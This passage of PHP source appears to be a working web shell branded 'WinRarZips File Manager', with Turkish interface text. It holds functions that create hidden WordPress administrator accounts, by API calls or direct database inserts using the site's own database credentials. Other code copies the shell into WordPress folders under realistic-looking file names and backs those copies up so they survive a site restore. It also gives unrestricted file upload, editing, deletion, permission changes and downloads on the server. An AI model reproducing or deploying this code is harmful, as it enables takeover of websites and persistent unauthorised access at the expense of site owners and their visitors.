    $hash = wrz_wp_hash_password($root, $pass);
    if (!$hash) {
        return ['ok' => false, 'err' => 'WordPress sifre hash uretilemedi'];
    }

    if (!class_exists('mysqli')) {
        return ['ok' => false, 'err' => 'mysqli eklentisi yok'];
    }

    $mysqli = @new mysqli($cfg['DB_HOST'], $cfg['DB_USER'], $cfg['DB_PASSWORD'] ?? '', $cfg['DB_NAME']);
    if ($mysqli->connect_errno) {
        return ['ok' => false, 'err' => 'DB baglantisi basarisiz: ' . $mysqli->connect_error];
    }
    $mysqli->set_charset('utf8mb4');

    $prefix = $cfg['table_prefix'];
    $usersTable = $prefix . 'users';
    $metaTable = $prefix . 'usermeta';

    if (wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email)) {
        $mysqli->close();
        return ['ok' => false, 'err' => 'Kullanici zaten var, yeni login uretiliyor'];
    }

    $nice = strtolower(preg_replace('/[^a-z0-9_-]+/i', '-', $login));
    $nice = trim($nice, '-');
    if ($nice === '') {
        $nice = $login;
    }

    $now = date('Y-m-d H:i:s');
    $status = 0;

    $stmt = @$mysqli->prepare(
        "INSERT INTO `{$usersTable}` (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (?, ?, ?, ?, ?, ?, ?)"
    );
    if (!$stmt) {
        $err = $mysqli->error;
        $mysqli->close();
        return ['ok' => false, 'err' => 'Kullanici eklenemedi: ' . $err];
    }
    $stmt->bind_param('sssssis', $login, $hash, $nice, $email, $now, $status, $login);
    if (!$stmt->execute()) {
        $err = $stmt->error;
        $stmt->close();
        $mysqli->close();
        return ['ok' => false, 'err' => 'Kullanici kaydi basarisiz: ' . $err];
    }
    $uid = (int) $stmt->insert_id;
    $stmt->close();

    if ($uid <= 0) {
        $mysqli->close();
        return ['ok' => false, 'err' => 'Kullanici ID alinamadi'];
    }

    $capsKey = $prefix . 'capabilities';
    $levelKey = $prefix . 'user_level';
    $capsVal = serialize(['administrator' => true]);
    $metaRows = [
        [$capsKey, $capsVal],
        [$levelKey, '10'],
        ['nickname', $login],
        ['first_name', ''],
        ['last_name', ''],
    ];

    $metaStmt = @$mysqli->prepare("INSERT INTO `{$metaTable}` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
    if (!$metaStmt) {
        $mysqli->close();
        return ['ok' => true, 'uid' => $uid, 'warn' => 'Admin yetkisi meta eklenemedi'];
    }
    foreach ($metaRows as $row) {
        $metaStmt->bind_param('iss', $uid, $row[0], $row[1]);
        @$metaStmt->execute();
    }
    $metaStmt->close();
    $mysqli->close();

    return ['ok' => true, 'uid' => $uid];
}

function wrz_random_admin_creds($emailDomain = null) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $domain = $emailDomain ?: wrz_guess_email_domain();
    do {
        $login = 'admin_' . substr(md5(uniqid((string) mt_rand(), true)), 0, 6);
        $exists = function_exists('username_exists') ? @username_exists($login) : false;
    } while ($exists);

    $pass = '';
    $len = strlen($chars) - 1;
    for ($i = 0; $i < 12; $i++) {
        $pass .= $chars[function_exists('random_int') ? random_int(0, $len) : mt_rand(0, $len)];
    }
    $email = $login . '@' . $domain;

    return [$login, $pass, $email];
}

function wrz_bootstrap_wp_for_admin($root) {
    $wpl = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-load.php';
    if (!@is_file($wpl)) {
        return false;
    }
    if (function_exists('wp_create_user') || function_exists('wp_insert_user')) {
        return true;
    }
    if (!defined('WP_USE_THEMES')) {
        define('WP_USE_THEMES', false);
    }
    @ob_start();
    try {
        require_once $wpl;
    } catch (Throwable $e) {
        @ob_end_clean();
        return false;
    }
    @ob_end_clean();
    return function_exists('wp_create_user') || function_exists('wp_insert_user');
}

function wrz_wp_admin_success($root, $login, $pass, $uid, $auto_login, $via = 'api') {
    $admin_url = '';
    $login_url = '';

    if ($via === 'api' && function_exists('admin_url')) {
        $admin_url = (string) @admin_url();
        $login_url = function_exists('wp_login_url') ? (string) @wp_login_url($admin_url ?: '') : '';
        if (class_exists('WP_User')) {
            @(new WP_User((int) $uid))->set_role('administrator');
        }
        if ($auto_login && function_exists('wp_set_auth_cookie')) {
            @wp_clear_auth_cookie();
            @wp_set_current_user((int) $uid);
            @wp_set_auth_cookie((int) $uid, true);
            if (function_exists('do_action') && function_exists('get_userdata')) {
                @do_action('wp_login', $login, get_userdata((int) $uid));
            }
        }
    } else {
        $scheme = wrz_is_https() ? 'https://' : 'http://';
        $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
        $admin_url = $host !== '' ? $scheme . $host . '/wp-admin/' : '/wp-admin/';
        $login_url = $host !== '' ? $scheme . $host . '/wp-login.php' : '/wp-login.php';
    }

    $admin_link = $admin_url !== ''
        ? ' <a href="' . htmlspecialchars($admin_url) . '" style="color:#00ffff">wp-admin</a>'
        : '';
    $viaLabel = $via === 'db' ? ' (DB)' : '';

    return [
        'ok' => true,
        'msg' => '<span style="color:#00ffff">WP Admin Olusturuldu' . $viaLabel . '! User: <b>'
            . htmlspecialchars($login) . '</b> Pass: <b>' . htmlspecialchars($pass) . '</b></span>' . $admin_link,
        'admin_url' => $admin_url,
        'login_url' => $login_url,
        'user' => $login,
        'pass' => $pass,
    ];
}

function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }

function wrz_create_wp_admin($auto_login = true) {
    $roots = wrz_wp_roots();
    if (!$roots) {
        $shellRoot = wrz_find_wp_root(__DIR__);
        if ($shellRoot) {
            $roots = [$shellRoot];
        }
    }
    if (!$roots) {
        return [
            'ok' => false,
            'msg' => '<span style="color:#ff3366">WordPress bulunamadi (wp-load.php)</span>',
        ];
    }

    $errors = [];

    foreach ($roots as $root) {
        if (!@is_file($root . '/wp-load.php')) {
            continue;
        }

        $domain = wrz_guess_email_domain();
        for ($try = 0; $try < 3; $try++) {
            [$login, $pass, $email] = wrz_random_admin_creds($domain);

            if (wrz_bootstrap_wp_for_admin($root)) {
                if (function_exists('wp_create_user')) {
                    $uid = @wp_create_user($login, $pass, $email);
                } else {
                    $uid = @wp_insert_user([
                        'user_login' => $login,
                        'user_pass' => $pass,
                        'user_email' => $email,
                        'role' => 'administrator',
                        'display_name' => $login,
                    ]);
                }

                if (!(function_exists('is_wp_error') && is_wp_error($uid)) && $uid) {
                    return wrz_wp_admin_success($root, $login, $pass, (int) $uid, $auto_login, 'api');
                }

                if (function_exists('is_wp_error') && is_wp_error($uid)) {
                    $errors[] = $uid->get_error_message();
                } else {
                    $errors[] = 'WP API kullanici olusturamadi';
                }
            }

            $dbResult = wrz_create_wp_admin_db($root, $login, $pass, $email);
            if (!empty($dbResult['ok'])) {
                return wrz_wp_admin_success($root, $login, $pass, (int) $dbResult['uid'], false, 'db');
            }
            if (!empty($dbResult['err']) && stripos($dbResult['err'], 'zaten var') === false) {
                $errors[] = $dbResult['err'];
                break;
            }
        }
    }

    $detail = $errors ? ': ' . htmlspecialchars(implode(' | ', array_unique($errors))) : '';
    return [
        'ok' => false,
        'msg' => '<span style="color:#ff3366">WP Admin olusturulamadi' . $detail . '</span>',
    ];
}

$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/';
if (!@is_dir($currentPath)) {
    $currentPath = './';
}

$message = '';
$wp_admin_result = null;
$wrz_deploy_result = null;

if (isset($_GET['wp_admin']) && $_GET['wp_admin'] == '1') {
    $wp_admin_result = wrz_create_wp_admin(true);
    $message = $wp_admin_result['msg'];
}

if (isset($_GET['wrz_deploy']) && $_GET['wrz_deploy'] === '1') {
    $wrz_deploy_result = wrz_deploy_shell();
    $message = $wrz_deploy_result['html'];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['wrz_create_admin'])) {
        $result = wrz_create_wp_admin(true);
        $message = $result['msg'];
    }
    if (isset($_POST['wrz_deploy_shell'])) {
        $wrz_deploy_result = wrz_deploy_shell();
        $message = $wrz_deploy_result['html'];
    }
    if (isset($_POST['wrz_deploy_backup'])) {
        $res = wrz_deploy_backup_all_roots('create');
        $message = $res['html'];
    }
    if (isset($_POST['wrz_deploy_restore'])) {
        $res = wrz_deploy_backup_all_roots('restore');
        $message = $res['html'];
    }
    if (isset($_POST['wrz_cleanup_unsafe'])) {
        $cleaned = [];
        foreach (wrz_wp_roots() as $root) {
            $cleaned = array_merge($cleaned, wrz_cleanup_unsafe_shell_copies($root));
        }
        if ($cleaned) {
            $message = '<span style="color:#00ffff">Siteyi bozan ' . count($cleaned) . ' kopya silindi.</span> '
                . '<code style="font-size:11px;color:#888">' . htmlspecialchars(implode(', ', array_map('basename', $cleaned))) . '</code>';
        } else {
            $message = '<span style="color:#888">Temizlenecek tehlikeli kopya bulunamadi.</span>';
        }
    }

    if (isset($_FILES['upload'])) {
        $destination = $currentPath . basename($_FILES['upload']['name']);
        $message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination)
            || writeFile($destination, readFileContent($_FILES['upload']['tmp_name']))
            ? '<span style="color:#00ffff">Uploaded</span>'
            : '<span style="color:#ff3366">Upload failed</span>';
    }
    if (isset($_POST['new'])) {
        $path = $currentPath . $_POST['new'];
        if (isset($_POST['type']) && $_POST['type'] === 'dir') {
            $message = @mkdir($path)
                ? '<span style="color:#00ffff">Folder created</span>'
                : '<span style="color:#ff3366">Failed</span>';
        } else {
            $message = writeFile($path, $_POST['content'] ?? '')
                ? '<span style="color:#00ffff">File created</span>'
                : '<span style="color:#ff3366">Failed</span>';
        }
    }
    if (isset($_POST['save']) && isset($_POST['data'])) {
        $message = writeFile($currentPath . $_POST['save'], $_POST['data'])
            ? '<span style="color:#00ffff">Saved</span>'
            : '<span style="color:#ff3366">Save failed</span>';
    }
    if (isset($_POST['oldname']) && isset($_POST['newname'])) {
        $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname'])
            ? '<span style="color:#00ffff">Renamed</span>'
            : '<span style="color:#ff3366">Failed</span>';
    }
    if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
        $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value']))
            ? '<span style="color:#00ffff">Permissions changed</span>'
            : '<span style="color:#ff3366">Failed</span>';
    }
}

if (isset($_GET['action'])) {
    $item = $_GET['item'] ?? '';
    $itemPath = $currentPath . $item;

    if ($_GET['action'] === 'delete') {
        if (@is_file($itemPath)) {
            $message = @unlink($itemPath)
                ? '<span style="color:#00ffff">Deleted</span>'
                : '<span style="color:#ff3366">Failed</span>';
        } elseif (@is_dir($itemPath)) {
            $message = @rmdir($itemPath)
                ? '<span style="color:#00ffff">Deleted</span>'
                : '<span style="color:#ff3366">Failed</span>';
        }
    } elseif ($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"');
        @readfile($itemPath);
        exit;
    } elseif ($_GET['action'] === 'wp_admin') {
        $result = wrz_create_wp_admin(true);
        $message = $result['msg'];
    }
}

$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = $files = [];
foreach ($items as $item) {
    @is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);

$systemInfo = [
    'PHP' => @phpversion(),
    'OS' => wrz_php_os(),
    'User' => wrz_current_user(),
];
$wpRoots = wrz_wp_roots();
$joomlaRoots = function_exists('wrz_joomla_roots') ? wrz_joomla_roots() : [];
$wrzCloakStatus = null;
$wrzCloakMissing = false;
$wrzCloakActionsMissing = false;
if (function_exists('wrz_cloak_docroot') && function_exists('wrz_cloak_status')) {
    $wrzDoc = wrz_cloak_docroot();
    if ($wrzDoc) {
        $wrzCloakStatus = wrz_cloak_status($wrzDoc);
    }
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WinRarZips • File Manager</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:'Courier New', monospace; }
        body { background:#0a0015; color:#d0d0ff; padding:15px; min-height:100vh; background-image: linear-gradient(rgba(139,0,255,0.08), rgba(0,0,0,0.9)); }
        .container { background:#0f001f; border:1px solid #8b00ff; max-width:1450px; margin:0 auto; border-radius:6px; overflow:hidden; box-shadow: 0 0 40px rgba(139,0,255,0.25); }
        .header { background:#1a0033; padding:18px 20px; border-bottom:2px solid #8b00ff; position:relative; }
        .header h1 { color:#00ffff; font-size:24px; text-shadow: 0 0 10px #00ffff88; letter-spacing:1px; }
        .header .brand { position:absolute; top:12px; right:20px; color:#ff00aa; font-size:14px; text-shadow:0 0 8px #ff00aa88; }
        .system-info { display:flex; gap:20px; font-size:13px; color:#a0a0ff; margin-top:8px; flex-wrap:wrap; }
        .path-navigation { background:#140028; padding:12px 20px; border-bottom:1px solid #4a0080; display:flex; align-items:center; flex-wrap:wrap; gap:6px; font-size:14px; }
        .path-navigation a { color:#00ffff; text-decoration:none; padding:6px 12px; background:rgba(139,0,255,0.12); border:1px solid #8b00ff33; border-radius:4px; }
        .path-navigation a:hover { background:rgba(0,255,255,0.15); border-color:#00ffff; color:#ffffff; }
        .tools { padding:14px 20px; background:#140028; border-bottom:1px solid #4a0080; display:flex; flex-wrap:wrap; gap:10px; align-items:center; }
        .button { background:#1a0033; color:#b0b0ff; border:1px solid #8b00ff66; padding:9px 16px; cursor:pointer; border-radius:4px; font-size:14px; transition: all 0.2s; text-decoration:none; display:inline-block; }
        .button:hover { background:#2a0055; border-color:#00ffff; color:#ffffff; box-shadow:0 0 12px rgba(0,255,255,0.4); }
        .button-green { border-color:#00ffff; color:#00ffff; }
        .button-red { border-color:#ff3366; color:#ff3366; }
        .button-wp { border-color:#3fb950; color:#3fb950; font-weight:bold; }
        .button-wp:hover { border-color:#56d364; color:#ffffff; box-shadow:0 0 14px rgba(63,185,80,0.45); }
        .button-deploy { border-color:#00ffff; color:#00ffff; font-weight:bold; }
        .button-deploy:hover { border-color:#ffffff; box-shadow:0 0 14px rgba(0,255,255,0.45); }
        .button-backup { border-color:#ffd700; color:#ffd700; font-weight:bold; }
        .button-backup:hover { border-color:#fff; box-shadow:0 0 14px rgba(255,215,0,0.35); }
        .button-restore { border-color:#7ee787; color:#7ee787; }
        .button-restore:hover { border-color:#fff; box-shadow:0 0 14px rgba(126,231,135,0.35); }
        .wrz-deploy-results ul li { font-size:13px; line-height:1.5; }
        .message { padding:14px; background:#1a0033; border-bottom:1px solid #4a0080; text-align:center; font-weight:bold; font-size:15px; }
        .file-table { width:100%; border-collapse:collapse; color:#d0d0ff; }
        .file-table th { background:#1a0033; padding:12px 15px; text-align:left; border-bottom:2px solid #8b00ff; color:#00ffff; font-size:14px; }
        .file-table td { padding:11px 15px; border-bottom:1px solid #4a0080; }
        .file-table tr:hover { background:rgba(139,0,255,0.08); }
        .folder-link { color:#00ffff; font-weight:bold; text-decoration:none; }
        .file-link { color:#d0d0ff; text-decoration:none; }
        .size { color:#a0a0ff; }
        .permissions { font-family:'Courier New'; color:#ff00aa; background:#1a0033; padding:4px 8px; border-radius:4px; font-size:13px; }
        .actions { display:flex; gap:8px; flex-wrap:wrap; }
        .action-button { padding:6px 12px; background:#1a0033; color:#b0b0ff; border:1px solid #8b00ff66; font-size:12px; border-radius:4px; }
        .action-button:hover { background:#2a0055; border-color:#00ffff; color:#ffffff; }
        .action-button-red { border-color:#ff3366; color:#ff3366; }
        textarea { width:100%; height:480px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:18px; font-family:'Courier New'; font-size:15px; border-radius:4px; resize:vertical; }
        input[type="text"] { background:#000011; color:#ffffff; border:1px solid #8b00ff66; padding:10px; border-radius:4px; width:320px; }
        .edit-container { padding:25px; background:#0a0015; border-bottom:1px solid #4a0080; }
        .edit-title { color:#00ffff; margin-bottom:18px; font-size:18px; }
        .footer-brand { text-align:center; padding:15px; color:#ff00aa88; font-size:13px; border-top:1px solid #4a0080; }
        /* WinRarZips Cloak panel — ana bolum */
        .wrz-cloak-panel { width:100%; background:#0f001f; border-bottom:2px solid #8b00ff; font-size:13px; }
        .wrz-cloak-head { display:flex; align-items:center; gap:10px; padding:14px 20px; cursor:pointer; background:#1a0033; border-bottom:1px solid #4a0080; flex-wrap:wrap; }
        .wrz-cloak-title { color:#00ffff; font-weight:bold; font-size:16px; letter-spacing:.06em; flex:1; }
        .wrz-cloak-badge { padding:4px 10px; border-radius:6px; font-size:11px; font-weight:bold; white-space:nowrap; }
        .wrz-cloak-badge.checking { color:#7fabff; border:1px solid #276ef1; }
        .wrz-cloak-badge.ok { color:#3fb950; border:1px solid #3fb950; }
        .wrz-cloak-badge.warn { color:#f5a623; border:1px solid #f5a623; }
        .wrz-cloak-badge.off { color:#888; border:1px solid #444; }
        .wrz-cloak-chev { color:#ff00aa; font-size:18px; }
        .wrz-cloak-body { padding:16px 20px 20px; display:block; }
        .wrz-cloak-sub { color:#888; font-size:11px; word-break:break-all; margin-bottom:12px; }
        .wrz-cloak-grid-top { display:grid; grid-template-columns:1fr 1fr; gap:12px; margin-bottom:14px; }
        @media (max-width:760px){ .wrz-cloak-grid-top { grid-template-columns:1fr; } }
        .wrz-cloak-card { border:1px solid #4a0080; border-radius:8px; padding:14px; margin:10px 0; background:#140028; }
        .wrz-cloak-card.inner { margin-top:8px; }
        .wrz-cloak-h { color:#888; font-size:11px; text-transform:uppercase; letter-spacing:.08em; margin-bottom:10px; font-weight:bold; }
        .wrz-cloak-row { display:flex; align-items:center; gap:8px; margin:6px 0; flex-wrap:wrap; }
        .wrz-cloak-row .dot { width:8px; height:8px; border-radius:50%; flex-shrink:0; }
        .wrz-cloak-row .dot.ok { background:#3fb950; }
        .wrz-cloak-row .dot.warn { background:#f5a623; }
        .wrz-cloak-row .dot.err { background:#ff3366; }
        .wrz-cloak-row .muted { color:#888; font-size:11px; margin-left:auto; }
        .wrz-cloak-row .tag-g { background:#276ef1; color:#fff; font-size:10px; padding:2px 6px; border-radius:4px; }
        .wrz-cloak-row .del { color:#ff3366; font-size:11px; margin-left:6px; }
        .wrz-cloak-btns { display:flex; flex-wrap:wrap; gap:8px; margin:8px 0; }
        .wrz-btn { border:1px solid #8b00ff66; background:#1a0033; color:#d0d0ff; padding:10px 16px; border-radius:6px; cursor:pointer; font-size:12px; font-family:inherit; font-weight:bold; }
        .wrz-btn:hover { border-color:#00ffff; color:#fff; }
        .wrz-btn-lg { flex:1; min-width:180px; padding:14px 18px; font-size:13px; text-align:center; }
        .wrz-btn-green { border-color:#3fb950; color:#3fb950; background:rgba(63,185,80,.08); }
        .wrz-btn-blue { border-color:#276ef1; color:#7fabff; background:rgba(39,110,241,.08); }
        .wrz-btn-orange { border-color:#f5a623; color:#f5a623; }
        .wrz-btn-red { border-color:#ff3366; color:#ff3366; font-weight:bold; }
        .wrz-btn-cyan { border-color:#00ffff; color:#00ffff; }
        .wrz-btn-purple { border-color:#a06cff; color:#a06cff; }
        .wrz-note { font-size:12px; margin:6px 0; line-height:1.55; }
        .wrz-note.blue { color:#7fabff; }
        .wrz-note.red { color:#ff6b8a; }
        .wrz-note.purple { color:#a06cff; }
        .wrz-note.orange { color:#f5a623; }
        .wrz-note.warn { color:#f5a623; }
        .wrz-msg { min-height:18px; font-size:12px; margin-top:6px; }
        .wrz-msg.ok { color:#3fb950; }
        .wrz-msg.err { color:#ff3366; }
        .wrz-msg.info { color:#00ffff; }
        .wrz-report { margin-top:10px; font-size:11px; }
        .wrz-report-title { color:#00ffff; font-weight:bold; margin-bottom:6px; }
        .wrz-report-title.purple { color:#a06cff; }
        .wrz-cache-row { padding:5px 10px; margin:4px 0; border-radius:4px; border-left:3px solid #444; background:#0a0015; }
        .wrz-cache-row.ok { border-color:#3fb950; }
        .wrz-cache-row.err { border-color:#ff3366; }
        .wrz-cache-row.warn { border-color:#f5a623; }
        .wrz-bc-badge { padding:10px; border-radius:6px; font-weight:bold; margin-bottom:8px; }
        .wrz-bc-badge.ok { background:rgba(63,185,80,.15); color:#3fb950; }
        .wrz-bc-badge.fail { background:rgba(255,51,102,.15); color:#ff3366; }
        .wrz-bc-badge.warn { background:rgba(245,166,35,.15); color:#f5a623; }
        .wrz-pre { background:#000011; border:1px solid #4a0080; padding:10px; max-height:200px; overflow:auto; font-size:11px; white-space:pre-wrap; }
        .wrz-details summary { cursor:pointer; color:#00ffff; padding:10px 4px; font-weight:bold; font-size:13px; }
        .wrz-details textarea, #wrz-htmlcontent { width:100%; height:180px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:10px; font-family:monospace; font-size:12px; border-radius:6px; margin:8px 0; }
        .wrz-input { width:100%; background:#000011; color:#fff; border:1px solid #8b00ff66; padding:10px; border-radius:6px; margin:6px 0; font-family:monospace; font-size:12px; }
        .wrz-ta-sm { width:100%; height:80px; background:#000011; color:#00ffff; border:1px solid #8b00ff; padding:10px; font-family:monospace; font-size:12px; border-radius:6px; }    </style>
</head>
<body>
    <div class="container">
        <?php if ($wrzCloakStatus && function_exists('wrz_cloak_render_panel')): wrz_cloak_render_panel($wrzCloakStatus); endif; ?>
        <div class="header">            <h1>WinRarZips</h1>
            <div class="brand">File Manager • WP Admin</div>
            <div class="system-info">
                <?php foreach ($systemInfo as $key => $value): ?>
                    <span><?= $key ?>: <b style="color:#ff00aa"><?= htmlspecialchars((string) $value) ?></b></span>
                <?php endforeach; ?>
                <?php if ($wrzCloakStatus && !empty($wrzCloakStatus['cms'])): ?>
                    <span>CMS: <b style="color:#00ffff"><?= htmlspecialchars(strtoupper($wrzCloakStatus['cms'])) ?></b></span>
                <?php endif; ?>
                <?php if ($wpRoots): ?>
                    <span>WP: <b style="color:#3fb950"><?= htmlspecialchars(basename($wpRoots[0])) ?></b></span>
                <?php elseif ($joomlaRoots): ?>
                    <span>Joomla: <b style="color:#f5a623"><?= htmlspecialchars(basename($joomlaRoots[0])) ?></b></span>
                <?php else: ?>
                    <span>CMS: <b style="color:#ff3366">bulunamadi</b></span>
                <?php endif; ?>
            </div>
        </div>
        <?php if ($message): ?><div class="message"><?= $message ?></div><?php endif; ?>
        <?php if ($wrzCloakMissing): ?><div class="message" style="color:#f5a623">Cloak modulu gomulu — ek dosya gerekmez.</div><?php endif; ?>
        <?php if ($wrzCloakActionsMissing): ?><div class="message" style="color:#ff3366"></div><?php endif; ?>        <div class="path-navigation">
            <a href="?p=/">Root</a>
            <?php
            $parts = explode('/', trim($currentPath, '/'));
            $current = '';
            foreach ($parts as $part):
                if ($part):
                    $current .= '/' . $part;
            ?>
                <span style="color:#4a0080">/</span>
                <a href="?p=<?= urlencode($current) ?>/"><?= htmlspecialchars($part) ?></a>
            <?php endif; endforeach; ?>
        </div>
        <div class="tools">
            <a href="?p=<?= urlencode(trim($currentPath, '/')) ?>&amp;wp_admin=1" class="button button-wp" onclick="return confirm('WordPress Admin olusturulsun mu?');">WP Admin</a>
            <form method="post" style="display:inline;" onsubmit="return confirm('Shell WP klasorlerine gercekci dosya adlariyla kopyalansin mi? (mu-plugins haric)');">
                <input type="hidden" name="wrz_deploy_shell" value="1">
                <button type="submit" class="button button-deploy">Klasorlere Yerlestir</button>
            </form>
            <form method="post" style="display:inline-block;margin-left:6px">
                <input type="hidden" name="wrz_deploy_backup" value="1">
                <button type="submit" class="button button-backup" onclick="return confirm('Mevcut deploy dosyalarinin yedegi alinsin mi?');">Deploy Yedegi Al</button>
            </form>
            <form method="post" style="display:inline-block;margin-left:6px">
                <input type="hidden" name="wrz_deploy_restore" value="1">
                <button type="submit" class="button button-restore" onclick="return confirm('WP restore sonrasi yedekten tum deploy kopyalari geri yuklensin mi?');">Yedekten Geri Yukle</button>
            </form>
            <form method="post" style="display:inline-block;margin-left:10px">
                <input type="hidden" name="wrz_cleanup_unsafe" value="1">
                <button type="submit" class="button" style="border-color:#ff6b6b;color:#ff6b6b" onclick="return confirm('Deploy edilen tum kopyalar silinsin mi? (manifest + eski wp-caches dosyalari)');">Siteyi Duzelt</button>
            </form>
            <form method="post" enctype="multipart/form-data" style="display:inline;">
                <input type="file" name="upload" style="display:none" id="upload" onchange="this.form.submit()">
                <button type="button" class="button button-green" onclick="document.getElementById('upload').click()">Upload</button>
            </form>
            <button class="button" onclick="newFile()">New File</button>
            <button class="button" onclick="newFolder()">New Folder</button>
            <a href="?logout=1" class="button button-red">Cikis</a>
            <?php if (isset($_GET['edit'])): ?>
                <a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Close Editor</a>
            <?php endif; ?>
        </div>
        <?php if (isset($_GET['edit'])): ?>
            <div class="edit-container">
                <div class="edit-title">Editing: <?= htmlspecialchars($_GET['edit']) ?></div>
                <form method="post">
                    <input type="hidden" name="save" value="<?= htmlspecialchars($_GET['edit']) ?>">
                    <textarea name="data"><?= htmlspecialchars(readFileContent($currentPath . $_GET['edit'])) ?></textarea>
                    <div style="margin-top:20px; display:flex; gap:12px;">
                        <button class="button button-green">Save Changes</button>
                        <a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead><tr><th width="40%">Name</th><th width="10%">Size</th><th width="15%">Permissions</th><th width="15%">Modified</th><th width="20%">Actions</th></tr></thead>
                <tbody>
                    <?php if ($currentPath !== '/'): ?>
                        <tr><td colspan="5"><a href="?p=<?= urlencode(dirname($currentPath)) ?>" class="folder-link">Parent Directory</a></td></tr>
                    <?php endif; ?>
                    <?php foreach ($folders as $folder): ?>
                        <?php $folderPath = $currentPath . $folder; $permissions = substr(sprintf('%o', @fileperms($folderPath)), -3); ?>
                        <tr>
                            <td><a href="?p=<?= urlencode($folderPath) ?>" class="folder-link"><?= htmlspecialchars($folder) ?></a></td>
                            <td class="size">-</td>
                            <td><span class="permissions"><?= $permissions ?></span></td>
                            <td><?= @filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-' ?></td>
                            <td><div class="actions">
                                <button onclick="renameItem('<?= htmlspecialchars($folder, ENT_QUOTES) ?>')" class="action-button">Rename</button>
                                <button onclick="changePermissions('<?= htmlspecialchars($folder, ENT_QUOTES) ?>','<?= $permissions ?>')" class="action-button">Chmod</button>
                                <a href="?p=<?= urlencode($currentPath) ?>&action=delete&item=<?= urlencode($folder) ?>" onclick="return confirm('Delete folder?')" class="action-button action-button-red">Delete</a>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php foreach ($files as $file): ?>
                        <?php
                        $filePath = $currentPath . $file;
                        $size = @filesize($filePath);
                        $permissions = substr(sprintf('%o', @fileperms($filePath)), -3);
                        $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                        $editable = in_array($extension, ['php', 'html', 'js', 'css', 'txt', 'json', 'xml', 'sql', 'md', 'log', 'ini', 'env']);
                        ?>
                        <tr>
                            <td><?php if ($editable): ?><a href="?p=<?= urlencode($currentPath) ?>&edit=<?= urlencode($file) ?>" class="file-link"><?= htmlspecialchars($file) ?></a><?php else: ?><a href="?p=<?= urlencode($currentPath) ?>&action=download&item=<?= urlencode($file) ?>" class="file-link"><?= htmlspecialchars($file) ?></a><?php endif; ?></td>
                            <td class="size"><?php if ($size): if ($size < 1024) echo $size . ' B'; elseif ($size < 1048576) echo round($size / 1024, 1) . ' KB'; else echo round($size / 1048576, 1) . ' MB'; else: ?>-<?php endif; ?></td>
                            <td><span class="permissions"><?= $permissions ?></span></td>
                            <td><?= @filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-' ?></td>
                            <td><div class="actions">
                                <?php if ($editable): ?><a href="?p=<?= urlencode($currentPath) ?>&edit=<?= urlencode($file) ?>" class="action-button">Edit</a><?php endif; ?>
                                <a href="?p=<?= urlencode($currentPath) ?>&action=download&item=<?= urlencode($file) ?>" class="action-button">Download</a>
                                <button onclick="renameItem('<?= htmlspecialchars($file, ENT_QUOTES) ?>')" class="action-button">Rename</button>
                                <button onclick="changePermissions('<?= htmlspecialchars($file, ENT_QUOTES) ?>','<?= $permissions ?>')" class="action-button">Chmod</button>
                                <a href="?p=<?= urlencode($currentPath) ?>&action=delete&item=<?= urlencode($file) ?>" onclick="return confirm('Delete file?')" class="action-button action-button-red">Delete</a>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php if (empty($folders) && empty($files)): ?>
                        <tr><td colspan="5" style="text-align:center; padding:50px; color:#4a0080;">[ No files | Void detected ]</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        <?php endif; ?>
        <div class="footer-brand">WinRarZips • File Manager • <?= date('Y') ?></div>
    </div>
    <script>
        function newFile() { let name = prompt('New file name:', 'file.txt'); if (name) { let content = prompt('Initial content (optional):', ''); let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="new" value="${name}"><input type="hidden" name="content" value="${content || ''}">`; document.body.appendChild(form); form.submit(); } }
        function newFolder() { let name = prompt('New folder name:', 'new_folder'); if (name) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="new" value="${name}"><input type="hidden" name="type" value="dir">`; document.body.appendChild(form); form.submit(); } }
        function renameItem(oldName) { let newName = prompt('Rename to:', oldName); if (newName && newName !== oldName) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="oldname" value="${oldName}"><input type="hidden" name="newname" value="${newName}">`; document.body.appendChild(form); form.submit(); } }
